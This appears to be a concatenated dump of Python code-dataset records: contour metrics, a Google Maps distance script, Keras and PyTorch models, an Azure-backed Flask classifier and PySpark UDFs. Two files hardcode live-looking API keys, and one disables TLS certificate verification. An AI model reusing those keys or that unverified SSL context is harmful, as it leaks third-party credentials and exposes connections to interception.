newwer version of numpy\n ijk1 = np.matmul(affine, contour[...,np.newaxis]).reshape(contour.shape)\n ijk = ijk1[:,0:3]\n k = ijk[:,2]\n # check that they're all the same k value\n if not all(ktest == k[0] for ktest in k):\n print('Contour is not defined on one plane')\n\n #here is where we need to do python poly2mask\n contourMask = poly2mask(ijk[:,0], ijk[:,1],(origShape[0],origShape[1]))\n binImg[:,:,int(round(k[0]))] = contourMask\n\n #func = lambda x: set_bit(x, n, 1) #set the bits accoring to the ROI number]\n bitset = lambda x: x | (1 << n)\n labelImg[np.where(binImg)] = bitset(labelImg[np.where(binImg)])\n \n # to retrieve the individual structures again use:\n # a & (1< 1')\n for contourDict in contourList:\n data = np.array(contourDict[ \"contourData\" ], \\\n dtype = np.float)\n # need to reverse x and y for DICOM->Nifti\n data[:,0:2] = -data[:,0:2]\n planeDict[zslice] = data \n return planeDict\n\nclass _DeformContours(Contours):\n # don't use this code\n # this is just here if I ever want to use\n # snippets of this to deform landmarks/contours\n # according to an interpolated deformation \n # field\n def __init__(self):\n super(DeformContours, self).__init__()\n self.contourDict = self.getStructDict()\n\n def _deformContours( polyDictList ):\n dxy = 0.1\n wk0poly = polyDictList[0]\n testSlice = wk0poly[wk0poly.keys()[0]][0]\n pointList = list(testSlice.exterior.coords)\n xLast, yLast, zLast = pointList[ 0 ]\n xTuple = [ xLast ]\n yTuple = [ yLast ]\n zTuple = [ zLast ]\n for i in range( 1, len( pointList ) ):\n x, y, z = pointList[ i ]\n if ( abs( x - xLast ) > dxy ) or ( abs( y - yLast ) > dxy ):\n xTuple.append( pointList[ i ][ 0 ] )\n yTuple.append( pointList[ i ][ 1 ] )\n zTuple.append( pointList[ i ][ 2 ] )\n xLast, yLast, zLast = pointList[ i ]\n\n xArray = -np.array( xTuple )\n yArray = -np.array( yTuple )\n zArray = np.array( zTuple )\n xi = np.array([xArray, yArray, zArray]).T\n \n points, dvf = loadDefField()\n xfunction = RegularGridInterpolator(points, dvf[::-1,:,:,0])\n yfunction = RegularGridInterpolator(points, dvf[::-1,:,:,1])\n zfunction = RegularGridInterpolator(points, dvf[::-1,:,:,2])\n xNew = xfunction(xi)\n yNew = yfunction(xi)\n zNew = zfunction(xi)\n newPointList = zip(-xNew, -yNew, zNew)\n polygon2 = shapely.geometry.Polygon( newPointList )\n\n def _deformContours2(self ):\n from vtk import vtkPoints, vtkPolyData, vtkPolyDataWriter\n # dictionary returned by getStructDict()\n # load the first structure for now\n struct = self.ontourDict[self.contourDict.keys()[0]]\n pointList = []\n for key in sorted(struct.keys()):\n pointList.append(struct[key])\n pointArray = np.vstack(pointList)\n xArray = pointArray[:,0]\n yArray = pointArray[:,1]\n zArray = pointArray[:,2]\n xi = np.array([xArray, yArray, zArray]).T\n points, dvf = loadDefField()\n xfunction = RegularGridInterpolator(points, dvf[::-1,:,:,0])\n yfunction = RegularGridInterpolator(points, dvf[::-1,:,:,1])\n zfunction = RegularGridInterpolator(points, dvf[::-1,:,:,2])\n xNew = xfunction(xi)\n yNew = yfunction(xi)\n zNew = zfunction(xi)\n newPointList = np.array(zip(xNew,yNew,zNew))\n from vtk.util import numpy_support as VN\n pd = vtkPolyData()\n pts = vtkPoints()\n pts.SetData(VN.numpy_to_vtk(newPointList, deep=True))\n pd.SetPoints(pts)\n pdw = vtkPolyDataWriter()\n pdw.SetInputData(pd)\n pdw.SetFileName(\"parotid_deformed.vtk\")\n pdw.Write()\n \n\nclass ContoursFromLabelNii(object):\n def __init__(self, labelNii, roiList):\n super(ContoursFromLabelNii, self).__init__()\n self.labelNii = nib.load(labelNii)\n self.roiList = roiList\n self.polyDict = {}\n\n def getContours(self, filterVal ):\n print(\"get contours\")\n labelImg = self.labelNii.get_data()\n polyDict = {}\n for n, roi in enumerate(self.roiList):\n # eventually use for n in self.nList:\n ##### BITGET ######\n # should return a binary image with 1's in \n # the voxels where the ROI is\n n += 1\n print(n)\n print(\"n : {} \\t roi: {}\".format(n, roi))\n roiImg = (labelImg & (1<> n\n\n # remove z slices where the structure of interest does not exist\n roiCrop = roiImg[:,:,~(roiImg==0).all(axis=(0,1))]\n zcrop = ~(roiImg==0).all(axis=(0,1))\n #imgCrop = origImg[:,:,~(roiImg==0).all(axis=(0,1))]\n contourDict = {}\n for k, kslice in enumerate(np.rollaxis(roiImg,2)):\n if zcrop[k]:\n filteredRoi = gaussian(kslice, sigma=1, preserve_range =True)\n contours = find_contours(filteredRoi, filterVal, \\\n fully_connected='high', positive_orientation='high')\n polyDict[roi] = self.getContourDict(contours, k, self.labelNii.affine, \\\n contourDict)\n return polyDict \n\n def getVdim(self):\n return self.labelNii.header.get_zooms()\n \n def getBinaryImages(self):\n labelImg = self.labelNii.get_data()\n imageDict = {}\n for n, roi in enumerate(self.roiList):\n n += 1\n roiImg = (labelImg & (1<> n\n imageDict[roi] = roiImg\n\n return imageDict\n \n def getContourDict(self, contours, k, affine, contourDict, \\\n getPolygons = True):\n for contour in contours:\n contourXyz = self.getContourXyz(contour, k, affine)\n z = contourXyz[0,2]\n if np.abs(z - round(z)) < 1e-3:\n z = round(z)\n contourXyz[:,2] = z\n polygon = Polygon(contourXyz) \n if not contourDict.has_key(z):\n if getPolygons:\n contourDict[z] = [polygon]\n else:\n contourDict[z] = [contourXyz]\n else:\n if getPolygons:\n contourDict[z].append(polygon)\n else:\n contourDict[z].append(contourXyz)\n return contourDict\n\n def getContourXyz(self, ctr, k, affine):\n ctr = np.c_[ctr, np.ones(ctr.shape[0])*k, np.ones(ctr.shape[0])]\n ctr_xyz1 = np.matmul(affine, ctr[...,np.newaxis]).\\\n reshape(ctr.shape)\n return ctr_xyz1[:,0:3]\n\nclass ConformityChecker(object):\n\n def __init__( self, polygon1 = None, polygon2 = None, stepSize = 1. ):\n self.polygon1 = polygon1\n self.polygon2 = polygon2\n self.stepSize = stepSize\n self.union = polygon1.union( polygon2 )\n self.intersection = polygon1.intersection( polygon2 )\n if self.union.area:\n self.conformityIndex = self.intersection.area / self.union.area\n else:\n self.conformityIndex = 0.\n self.dice = 2 * self.intersection.area / ( polygon1.area + polygon2.area )\n self.hausdorff = polygon1.hausdorff_distance(polygon2)\n #self.analyseDistancesToConformity()\n\n #self.centroid1 = numpy.array(polygon1.centroid.coords).flatten()\n #self.centroid2 = numpy.array(polygon2.centroid.coords).flatten()\n\n #self.analyseDistanceBetweenCentres()\n #self.analyseLeftRightAntPostDifferences()\n\n def analyseDistancesToConformity( self ):\n x1, y1, x2, y2 = [ float( int( xy ) ) for xy in self.union.bounds ]\n\n distanceList1 = []\n distanceList2 = []\n nPixel = 0\n for x in frange( x1, x2 + 1., self.stepSize ):\n for y in frange( y1, y2 + 1., self.stepSize ):\n testPoint = Point( x, y )\n if testPoint.within( self.union ):\n nPixel = nPixel + 1\n if not testPoint.within( self.polygon1 ):\n #polygon 1 is the reference polygon - polygon 2 is the evaluation\n distanceList1.append( testPoint.distance( self.polygon1 ) )\n elif not testPoint.within( self.polygon2 ):\n distanceList2.append( -testPoint.distance( self.polygon2 ) )\n\n self.distanceList = distanceList1 + distanceList2\n self.meanDistanceToConformity = 0.\n self.meanOutsidePolygon1 = 0.\n self.meanOutsidePolygon2 = 0.\n self.distanceWeight = 0.\n\n if distanceList1:\n self.meanOutsidePolygon1= sum( distanceList1 ) / len( distanceList1 )\n\n if distanceList2:\n self.meanOutsidePolygon2 = -sum( distanceList2 ) / len( distanceList2 )\n\n if self.distanceList:\n self.meanDistanceToConformity = \\\n ( sum( distanceList1 ) - sum( distanceList2 ) ) \\\n / ( len( distanceList1 ) + len( distanceList2 ) )\n\n if nPixel:\n self.distanceWeight = 1. / float( nPixel )\n\n return None\n\n def analyseDistanceBetweenCentres( self ):\n #define the reference polygon centroid as the origin \n #and produce a vector with magntiude and direction\n self.centroidShiftVector = 0.\n self.distanceBetweenCentres = 0.\n self.unitCentroidShiftVector = 0.\n\n self.centroidShiftVector = self.centroid2 - self.centroid1\n self.distanceBetweenCentres = numpy.linalg.norm(self.centroidShiftVector)\n self.unitCentroidShiftVector = self.centroidShiftVector / self.distanceBetweenCentres\n\n return None\n\n def analyseLeftRightAntPostDifferences( self ):\n self.LRchange = 0.\n self.APchange = 0.\n x1min, y1min, x1max, y1max = [ float( xy ) for xy in self.polygon1.bounds ]\n x2min, y2min, x2max, y2max = [ float( xy ) for xy in self.polygon2.bounds ]\n\n x1range = abs(x1max - x1min)\n x2range = abs(x2max - x2min)\n self.LRchange = x2range - x1range\n\n y1range = abs(y1max - y1min)\n y2range = abs(y2max - y2min)\n self.APchange = y2range - y1range\n return None\n\ndef poly2mask(vertex_row_coords, vertex_col_coords, shape):\n fill_row_coords, fill_col_coords = draw.polygon(vertex_row_coords, vertex_col_coords, shape)\n mask = np.zeros(shape, dtype=np.bool)\n mask[fill_row_coords, fill_col_coords] = True\n return mask\n\ndef surfd(input1, input2, sampling=1, connectivity=1):\n from scipy.ndimage import morphology\n # surface_distance = surfd()\n # msd = surface_distance.mean()\n # rms = np.sqrt((surface_distance**2).mean())\n # hd = surface_distance.max()\n # from https://mlnotebook.github.io/post/surface-distance-function/\n input_1 = np.atleast_1d(input1.astype(np.bool))\n input_2 = np.atleast_1d(input2.astype(np.bool))\n\n conn = morphology.generate_binary_structure(input_1.ndim, connectivity)\n\n S = np.bitwise_xor(input_1,morphology.binary_erosion(input_1, conn))\n Sprime = np.bitwise_xor(input_2, morphology.binary_erosion(input_2, conn))\n\n dta = morphology.distance_transform_edt(~S,sampling)\n dtb = morphology.distance_transform_edt(~Sprime,sampling)\n \n sds = np.concatenate([np.ravel(dta[Sprime!=0]), np.ravel(dtb[S!=0])])\n \n return sds\n\ndef getDice(input1, input2):\n input_1 = np.atleast_1d(input1.astype(np.int))\n input_2 = np.atleast_1d(input2.astype(np.int))\n union = input_1 + input_2 \n # not actually union : DSC is defined as \n # intersection\n union[np.where(union==1)] = 0\n union[np.where(union==2)] = 1\n dice = 2 * np.sum(union).astype(np.float) / (np.sum(input_1) + np.sum(input_2))\n return dice","sub_path":"registration/optimisation/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":14131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"625206853","text":"\nimport json, urllib.request\nimport ssl\n\nzip1 = 42119\nstreet_adress = \"am+freudenberg+75\"\n\nkey_geo = \"AIzaSyDC1RZ-cUJdGrJmLmaDfi7KWPBmiaZTyF4\"\n\nif street_adress != \"\":\n geo_address = street_adress + '-' + str(zip1)\n\n print(geo_address)\n\n\n\n context = ssl._create_unverified_context()\n geo_api = \"https://maps.googleapis.com/maps/api/geocode/json?address=\" + geo_address + \"&key=\" + key_geo\n with urllib.request.urlopen(geo_api, context=context) as url:\n geo_data = json.loads(url.read().decode())\n geo_lat = geo_data[\"results\"][0][\"geometry\"][\"location\"][\"lat\"]\n geo_lng = geo_data[\"results\"][0][\"geometry\"][\"location\"][\"lng\"]\n print(geo_lat)\n print(geo_lng)\n\n nearby_api = \"https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=\" + str(geo_lat) +\"%2C\" + str(geo_lng) +\"&rankby=distance&type=train_station&key=\" + key_geo\n print(nearby_api)\n with urllib.request.urlopen(nearby_api, context=context) as url:\n nearby_data_raw = json.loads(url.read().decode())\n print(nearby_data_raw)\n\n nearby_station_name = nearby_data_raw[\"results\"][0][\"name\"]\n nearby_station_lat = nearby_data_raw[\"results\"][0][\"geometry\"][\"location\"][\"lat\"]\n nearby_station_lng = nearby_data_raw[\"results\"][0][\"geometry\"][\"location\"][\"lng\"]\n\n\n print(nearby_station_name)\n\n distance_api = \"https://maps.googleapis.com/maps/api/directions/json?origin=\" + str(geo_lat) + \"%2c\" + str(geo_lng) + \"&destination=\" + str(nearby_station_lat) + \"%2c\" + str(nearby_station_lng) + \"&mode=walk&key=\" + key_geo\n with urllib.request.urlopen(distance_api, context=context) as url:\n distance_raw = json.loads(url.read().decode())\n nearby_station_distance = distance_raw[\"routes\"][0][\"legs\"][0][\"distance\"][\"text\"]\n nearby_station_duration = distance_raw[\"routes\"][0][\"legs\"][0][\"duration\"][\"text\"]\n \n distance_api = \"https://maps.googleapis.com/maps/api/directions/json?origin=\" + str(geo_lat) + \"%2c\" + str(geo_lng) + \"&destination=\" + \"50.9427839\" + \"%2c\" + \"6.9590705\" + \"&mode=walk&key=\" + key_geo\n with urllib.request.urlopen(distance_api, context=context) as url:\n distance_raw2 = json.loads(url.read().decode())\n cologne_distance = distance_raw2[\"routes\"][0][\"legs\"][0][\"distance\"][\"text\"]\n cologne_duration = distance_raw2[\"routes\"][0][\"legs\"][0][\"duration\"][\"text\"] \n\n distance_api = \"https://maps.googleapis.com/maps/api/directions/json?origin=\" + str(geo_lat) + \"%2c\" + str(geo_lng) + \"&destination=\" + \"51.22019577026367\" + \"%2c\" + \"6.792957305908203\" + \"&mode=walk&key=\" + key_geo\n with urllib.request.urlopen(distance_api, context=context) as url:\n distance_raw2 = json.loads(url.read().decode()) \n dusseldorf_distance = distance_raw2[\"routes\"][0][\"legs\"][0][\"distance\"][\"text\"]\n dusseldorf_duration = distance_raw2[\"routes\"][0][\"legs\"][0][\"duration\"][\"text\"]","sub_path":"bus-distancetest.py","file_name":"bus-distancetest.py","file_ext":"py","file_size_in_byte":3543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"316758223","text":"import sys\nimport csv\nimport numpy\nimport pandas\nfrom collections import OrderedDict\n\nimport keras\nfrom keras.models import Sequential, load_model\nfrom keras.layers import Dense, Dropout, Activation\nfrom keras.layers import TimeDistributed\nfrom keras.layers import LSTM\nfrom keras.preprocessing import sequence\nfrom keras.optimizers import SGD\n# fix random seed for reproducibility\n# numpy.random.seed(7)\n\nfeatures = 108\n# readin\n# train.ark (1124823, 70+39) test.ark (180406, 70)\nX_temp = pandas.read_csv(sys.argv[1]+'fbank/train.ark', sep=' ', header=None).values\nX_temp2 = pandas.read_csv(sys.argv[1]+'mfcc/train.ark', sep=' ', header=None).values\nX_temp = numpy.append( X_temp, X_temp2[:, 1:], axis=1)\n# train.lab (1124823, 2)\ny_temp = pandas.read_csv(sys.argv[1]+'label/train.lab', sep=',', header=None).values\nmap48phone_char = pandas.read_csv(sys.argv[1]+'48phone_char.map', sep='\\t', header=None).values\nd48tonum = OrderedDict( zip(map48phone_char[:,0], map48phone_char[:,1]) )\n\n# aligning\nd1 = OrderedDict( zip(X_temp[:,0], numpy.zeros(X_temp.shape[0])) )\nd2 = OrderedDict( zip(y_temp[:,0], y_temp[:,1]) )\nd1.update(d2)\ny_temp = numpy.array( list( d1.values() ) )\n\n# mapping\nfor i in range(y_temp.shape[0]):\n y_temp[i] = d48tonum.get(str(y_temp[i]))\ny_temp = y_temp.astype(numpy.int16)\n\n# reshape\nwav_count = 1\nfor i in range(X_temp.shape[0]):\n X_temp[i, 0] = int(str(X_temp[i, 0]).split('_')[2])\nfor i in range(X_temp.shape[0]-1):\n if X_temp[i, 0] > X_temp[i+1, 0] :\n wav_count = wav_count + 1\nmax_time = int(numpy.amax(X_temp[:,0]))\n\n\nX = numpy.zeros((wav_count, max_time, features), numpy.float)\ny = numpy.zeros((wav_count, max_time, 1 ), numpy.int16)\n\ncount = 0\nfor i in range(X_temp.shape[0]-1):\n if X_temp[i, 0] > X_temp[i+1, 0] or i == (X_temp.shape[0]-2) :\n flame = X_temp[i, 0]\n X_resh = numpy.reshape(X_temp[( i+1- flame) : (i+1), 1: ], (1, flame, features))\n y_resh = numpy.reshape(y_temp[( i+1- flame) : (i+1) ] , (1, flame, 1))\n zerofeatures = numpy.zeros((1, max_time-flame, features), numpy.float)\n zero1 = numpy.ones((1, max_time-flame, 1 ), numpy.int16) * 37\n # numpy.repeat( numpy.reshape( y_resh[0, flame-1,:], (1, 1, 1)), max_time-flame, axis=1)\n X[count] = numpy.append( X_resh , zerofeatures, axis=1)\n y[count] = numpy.append( y_resh , zero1 , axis=1)\n count = count + 1\n\n\nX_train = numpy.copy(X)\ny_train = keras.utils.to_categorical( y , 48 )\ny_train = numpy.reshape(y_train, (X_train.shape[0], X_train.shape[1], 48))\n\n# for debugging\nprint('X(samples, timesteps, input_dim):', X_train.shape)\nprint('--------------------------------')\nprint('y(samples, timesteps, output_dim):', y_train.shape)\nprint('--------------------------------')\n# Start training\nmodel = Sequential()\n# model.add(Embedding(features, output_dim=256))\nmodel.add(LSTM(1024,\n # input_length=TIME_STEPS, input_dim=INPUT_SIZE\n input_shape=(X_train.shape[1], X_train.shape[2]), \n batch_size=16,\n return_sequences=True,\n stateful=True))\nmodel.add(Dropout(0.2))\nmodel.add(LSTM(1024, return_sequences=True))\nmodel.add(Dropout(0.2))\nmodel.add(TimeDistributed(Dense(48, activation='softmax')))\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n# model.compile(loss='categorical_crossentropy', optimizer='rmsprop', metrics=['accuracy'])\nprint(model.summary())\nmodel.fit(X_train, y_train, epochs=2, batch_size=16)\nmodel.save(sys.argv[2])","sub_path":"hw1/model_rnn.py","file_name":"model_rnn.py","file_ext":"py","file_size_in_byte":3524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"304355991","text":"from .ContrastiveLoss import *\r\nimport torch\r\nimport torch.nn as nn\r\n\r\nclass TwoStreamPretrain(nn.Module):\r\n '''\r\n Pretraining on COCO dataset with cross-modal contrastive learning\r\n '''\r\n def __init__(self, image_model, language_model, embedding_dim=768, sigma=0.1):\r\n super(TwoStreamPretrain, self).__init__()\r\n self.image_model = image_model\r\n self.language_model = language_model\r\n self.image_projection_head = nn.Sequential(\r\n nn.Conv2d(embedding_dim, embedding_dim, kernel_size=1, stride=1, padding=0),\r\n )\r\n self.language_projection_head = nn.Sequential(\r\n nn.Linear(embedding_dim,embedding_dim),\r\n )\r\n self.sigma = sigma\r\n\r\n def forward(self, image_input, language_input, token_type, input_mask, nwords): # add two input terms: relation mask and relation class\r\n image_output = self.image_model(image_input)\r\n image_metric = self.image_projection_head(image_output)\r\n language_output = self.language_model(language_input, token_type, input_mask) # batch x n_object x emb_size\r\n language_metric = self.language_projection_head(language_output)\r\n # loss function\r\n loss_I2L, loss_L2I = cross_modal_contrastive_loss(image_metric, language_metric, nwords, sigma=self.sigma)\r\n\r\n return loss_I2L, loss_L2I\r\n\r\nclass RelationalGrounding(nn.Module):\r\n '''\r\n Finetuning on Visual Genome dataset for relation relation prediction\r\n '''\r\n def __init__(self, image_model, language_model, cross_attention_model, embedding_dim=768, relation_size=115, temperature=1.0):\r\n super(RelationalGrounding, self).__init__()\r\n self.image_model = image_model\r\n self.language_model = language_model\r\n self.cross_attention_model = cross_attention_model\r\n self.relation_size = relation_size\r\n self.temperature = temperature\r\n self.object_classifier = nn.Sequential(\r\n nn.Linear(768, 256),\r\n nn.ReLU(True),\r\n nn.Dropout(0.1),\r\n nn.Linear(256, 56),\r\n )\r\n\r\n def forward(self, image_input, object_input_all, segments_tensors_all, input_token_mask_all, input_mask, n_object, object_target, relation_target): # add two input terms: relation mask and relation class\r\n language_output = self.language_model(object_input_all, segments_tensors_all, input_token_mask_all, input_mask) # batch x n_object x emb_size\r\n image_output = self.image_model(image_input)\r\n (query_language, key_visual, object_representation, relation_prediction, normalized_relational_matrix) = self.cross_attention_model(image_output, language_output, attention_mask=input_mask)\r\n object_prediction = self.object_classifier(object_representation)\r\n object_prediction = object_prediction.permute(0, 2, 1)\r\n # loss functions:\r\n loss_cls_object = torch.nn.CrossEntropyLoss(reduction='none')(object_prediction, object_target) # auxilary loss for classifying visually grounded objects\r\n loss_pair, loss_relation = relation_contrastive_loss(relation_prediction, relation_target, temperature=self.temperature) # contrastive loss between relation and object pairs\r\n\r\n return loss_cls_object, loss_pair, loss_relation, relation_target, relation_prediction, object_target, object_prediction\r\n\r\nclass TransferCrossModalRetrieval(nn.Module):\r\n def __init__(self, image_model, language_model, cross_attention_model, embedding_dim=768, metric_dim=768, sigma=0.1):\r\n super(TrasferCrossModalRetrieval, self).__init__()\r\n self.image_model = image_model\r\n self.language_model = language_model\r\n self.cross_attention_model = cross_attention_model\r\n self.image_projection_head = nn.Sequential(\r\n nn.Conv2d(embedding_dim, embedding_dim, kernel_size=1, stride=1, padding=0),\r\n nn.ReLU(True),\r\n nn.Dropout(),\r\n nn.Conv2d(embedding_dim, metric_dim, kernel_size=1, stride=1, padding=0),\r\n )\r\n self.language_projection_head = nn.Sequential(\r\n nn.Linear(embedding_dim,embedding_dim),\r\n nn.ReLU(True),\r\n nn.Dropout(),\r\n nn.Linear(embedding_dim, metric_dim),\r\n )\r\n self.sigma = sigma\r\n\r\n def forward(self, image_input, language_input, token_type, input_mask, nwords): # add two input terms: relation mask and relation class\r\n language_output = self.language_model.language_model(language_input, token_type, input_mask)[0] #.last_hidden_state # batch x n_word x emb_size\r\n image_output = self.image_model(image_input)\r\n (query_language, key_visual, _, _, _, _, _) = self.cross_attention_model(image_output, language_output, attention_mask=input_mask)\r\n image_metric = self.image_projection_head(key_visual)\r\n language_metric = self.language_projection_head(query_language)\r\n # loss functions:\r\n image_pool_metric = torch.mean(image_metric,(2,3)) # pool image embedding to single vector\r\n language_pool_metric = torch.mean(language_metric,1) # pool language embedding to single vector\r\n loss_I2L, loss_L2I = finetune_pooled_contrastive_loss(image_pool_metric, language_pool_metric, sigma=self.sigma) #\r\n\r\n return image_metric, language_metric, loss_I2L, loss_L2I\r\n","sub_path":"models/FullModels.py","file_name":"FullModels.py","file_ext":"py","file_size_in_byte":5333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"222409284","text":"#import libraries\nfrom flask import Flask,render_template,url_for,request\nimport pickle\nfrom sklearn.externals import joblib\nimport urllib.request\nimport json\nimport datetime\n\n#function to classify user's click based on their demographic details\ndef click_classifier(daily_time_spent, age, income, daily_internet_usage, male, month, day_month, weekday):\n classify_model = open('./classify_cust_click1.pkl','rb')\n clk = joblib.load(classify_model)\n click_prediction = ''\n click_prediction = clk.predict([[daily_internet_usage, age, income, daily_internet_usage, male, month, day_month, weekday]])\n return click_prediction[0]\n\ndef azure_classifier(daily_time_spent, age, income, daily_internet_usage, male, date_clicked_ts):\n data = {\n \"Inputs\":{\n \"input1\":[\n {\n 'Daily Time Spent on Site': daily_time_spent, \n 'Age': age, \n 'Area Income': income, \n 'Daily Internet Usage': daily_internet_usage, \n 'Ad Topic Line': \"Cloned 5thgeneration orchestration\", \n 'City': \"Wrightburgh\", \n 'Male': male, \n 'Country': \"Tunisia\", \n 'Timestamp': date_clicked_ts, \n 'Clicked on Ad': \"0\", \n }\n ],\n },\n \"GlobalParameters\":{\n\n }\n }\n\n def myconverter(o):\n if isinstance(o, datetime.datetime):\n return o.__str__()\n\n body = str.encode(json.dumps(data, default = myconverter))\n url = 'https://ussouthcentral.services.azureml.net/workspaces/ef38c30a218d4b6596c184f8980f563f/services/b306c2c378f64c0b83be8c8de8bf064b/execute?api-version=2.0&format=swagger'\n api_key = 'kF0DpKj2wPUB6ytds1+59ejPqrq8qWQyajN/0MhqrYUx5sSm+toveiz6SzfEI91Ax/K4QxLm++NdEbCjQ+Ga9w==' # Replace this with the API key for the web service\n headers = {'Content-Type':'application/json', 'Authorization':('Bearer '+ api_key)}\n \n req = urllib.request.Request(url, body, headers)\n response = urllib.request.urlopen(req)\n result = response.read().decode('utf-8')\n print (result)\n d = json.loads(result)\n print (d['Results']['output1'][0]['Scored Labels'])\n return d['Results']['output1'][0]['Scored Labels']","sub_path":"user click prediction ad/click prediction demographic flask/clickclassifier.py","file_name":"clickclassifier.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"191453102","text":"##List of Functions (Update as more added in)\n#startTimes\n#failTimes\n#removeDuplicates\n#getClosestandStartTimes\n#timeOnOff\n#shutTimes\n\n\n\nimport pandas as pd\nfrom pyspark.sql.types import *\nfrom pyspark.sql.functions import pandas_udf,PandasUDFType\n\nschemaST = StructType([\n StructField(\"CSN\", StringType()),\n StructField(\"EventID\", LongType()),\n StructField(\"DateTime\", StringType())\n])\n\n \n\n@pandas_udf(schemaST, functionType=PandasUDFType.GROUPED_MAP)\ndef startTimes(df):\n gr = df['CSN'].iloc[0]#used for the default returned dataframe if no data being returned\n EventID = 65533\n events = df[df['EventID']==EventID].sort_values(['DateTime']) #start events\n DateTime = pd.to_numeric(pd.to_datetime(events['DateTime']))/1e9 #convert ns to s\n DateTimeNext = DateTime.shift(periods=-1) # -1 because we want to find the gap until the NEXT one (ie. if THIS event failed)\n time_diff = (DateTimeNext-DateTime) #Find the difference in event times\n df_less15m = events[((time_diff>(30*60)) | (time_diff.isnull()))]#more than 30 min or when time_diff is null, as that is the last recorded event\n default_df = pd.DataFrame([[gr,EventID,'None']]) #Returned if no start events detected - filter out using Datetime == none\n if len(df_less15m.index)>0:\n return_df = pd.DataFrame(df_less15m[['CSN','EventID','DateTime']])\n #reset column names, this needs to be done otherwise it won't match the schema above. It works when we do .mean() etc\n #because that doesn't give a named column when we create the dataframe, whereas this does.\n return_df = return_df.T.reset_index(drop=True).T #this feels hacky\n return return_df\n else:\n return default_df\n\n\n\n\n\n\n##FAIL TIMES UDF\n\nschemaFT = StructType([\n StructField(\"CSN\", StringType()),\n StructField(\"EventID\", IntegerType()),\n StructField(\"DateTime\", StringType())\n])\n\n@pandas_udf(schemaFT, functionType=PandasUDFType.GROUPED_MAP)\ndef failTimes(df):\n gr = df['CSN'].iloc[0]#used for the default returned dataframe if no data being returned\n EventID = 65533\n events = df[df['EventID']==EventID].sort_values(['DateTime'])\n DateTime = pd.to_numeric(pd.to_datetime(events['DateTime']))/1e9 #convert ns to s\n DateTimeNext = DateTime.shift(periods=-1) # -1 because we want to find the gap until the NEXT one (ie. if THIS event failed)\n time_diff = (DateTimeNext-DateTime)\n df_less15m = events[((time_diff<(30*60)) & (time_diff > 10))]#more than 10s, less than 30 mins\n default_df = pd.DataFrame([[gr,EventID,'None']])\n if len(df_less15m.index)>0:\n return_df = pd.DataFrame(df_less15m[['CSN','EventID','DateTime']])\n #reset column names, this needs to be done otherwise it won't match the schema above. It works when we do .mean() etc\n #because that doesn't give a named column when we create the dataframe, whereas this does.\n return_df = return_df.T.reset_index(drop=True).T #this feels hacky\n return return_df\n else:\n return default_df\n\n\n\n\n\n##REMVOE DUPLICATES UDF\n\nschemaRD = StructType([\n StructField(\"CSN\", StringType()),\n StructField(\"EventID\", IntegerType()),\n StructField(\"EventIDNext\", IntegerType()),\n StructField(\"DateTime\", StringType()),\n StructField(\"DateTimeInt\", IntegerType()),\n StructField(\"DateTimeIntNext\", IntegerType()),\n StructField(\"timeDiff\", IntegerType())\n])\n\n@pandas_udf(schemaRD, functionType=PandasUDFType.GROUPED_MAP)\ndef removeDuplicates(df):\n df.rename(columns=lambda x: x.lstrip(), inplace = True)\n \n gr = df['CSN'].iloc[0]#used for the default returned dataframe if no data being returned\n EventID = 65533\n df['DateTimeInt'] = pd.to_numeric(pd.to_datetime(df['DateTime']))/1e9 #convert ns to s\n df = df.sort_values(['EventID','DateTimeInt'])\n\n df['DateTimeIntNext'] = df['DateTimeInt'].shift(periods=-1) # -1 because we want to find the gap until the NEXT one (ie. if THIS event failed)\n df['EventIDNext'] = df['EventID'].shift(periods=-1)\n \n df['timeDiff'] = (df['DateTimeIntNext']-df['DateTimeInt'])\n \n #Remove the rows with timeDiff between -1 and 1 and the same event ID\n dResult = df[((df.timeDiff < -1) | (df.timeDiff > 1)) | (df.EventID != df.EventIDNext)]\n \n #If empty array: i.e. only one event type happens, all at the same time, return the first row\n if dResult.empty:\n dResult = df.iloc[[0]]\n return dResult\n\n\n\n\nschemaGCST = StructType([\nStructField(\"CSN\", StringType()),\nStructField(\"EventID\", IntegerType()),\nStructField(\"DateTime\", StringType()), \nStructField(\"TimeToStart\", IntegerType()),\nStructField(\"DateTimeInt\", IntegerType()),\nStructField(\"startIndex\", IntegerType())\n])\n\n@pandas_udf(schemaGCST, functionType=PandasUDFType.GROUPED_MAP)\ndef getClosestStartsandTimes(df):\n df.rename(columns=lambda x: x.lstrip(), inplace = True)\n gr = df['CSN'].iloc[0]#used for the default returned dataframe if no data being returned\n\n #Get time in seconds\n df['DateTimeInt'] = pd.to_numeric(pd.to_datetime(df['DateTime']))/1e9 #convert ns to s\n\n #Get Start Event times - startID can be changed for any event to anaylse train behaviour around that event\n startID = 65533\n startEvents = df[df['EventID']==startID]\n\n #if no start events for CSN, return empty array, otherwise perfrom calcs - reccommend that a check is performed after the calling of this function to check if any Datetime is listed as 'WRONG:\n if startEvents.empty:\n otherEvents = pd.DataFrame([[gr,65533,'WRONG',1,2,3]])\n else:#Otherwise...\n otherEvents = df[df['EventID']!=startID] #Remove the start events\n st = startEvents['DateTimeInt'].values #outputs a list\n ot = otherEvents['DateTimeInt'].values\n \n #put into a numpy array to make use of numpy functions\n stNp = np.array(st) #stNp is a list of the times of the start events for the time period - compare time of each event to these vals\n otNp = np.array(ot)\n \n #Get shape of df to find no of rows\n col = len(ot)\n ot = ot.reshape(col,1)\n\n #Add start times to each row of dataframe\n stList = stNp #Declaring the list to be appending stNp to\n for i in range(col-1):\n stList = np.vstack((stList,stNp))\n \n #compute the time diff for each start time\n timeDiff = ot - stList\n \n #Find the minimum time value, and the index which it occurs at\n x = np.argmin(abs(timeDiff),axis=1).reshape(col,1)\n otherEvents['startIndex'] = x\n \n #Store the minimum time in the correct rows\n timeDiffResult = []\n for i in range(col):\n val = (timeDiff[i,x[i]])\n timeDiffResult.append(val[0])\n\n #Make new numpy of 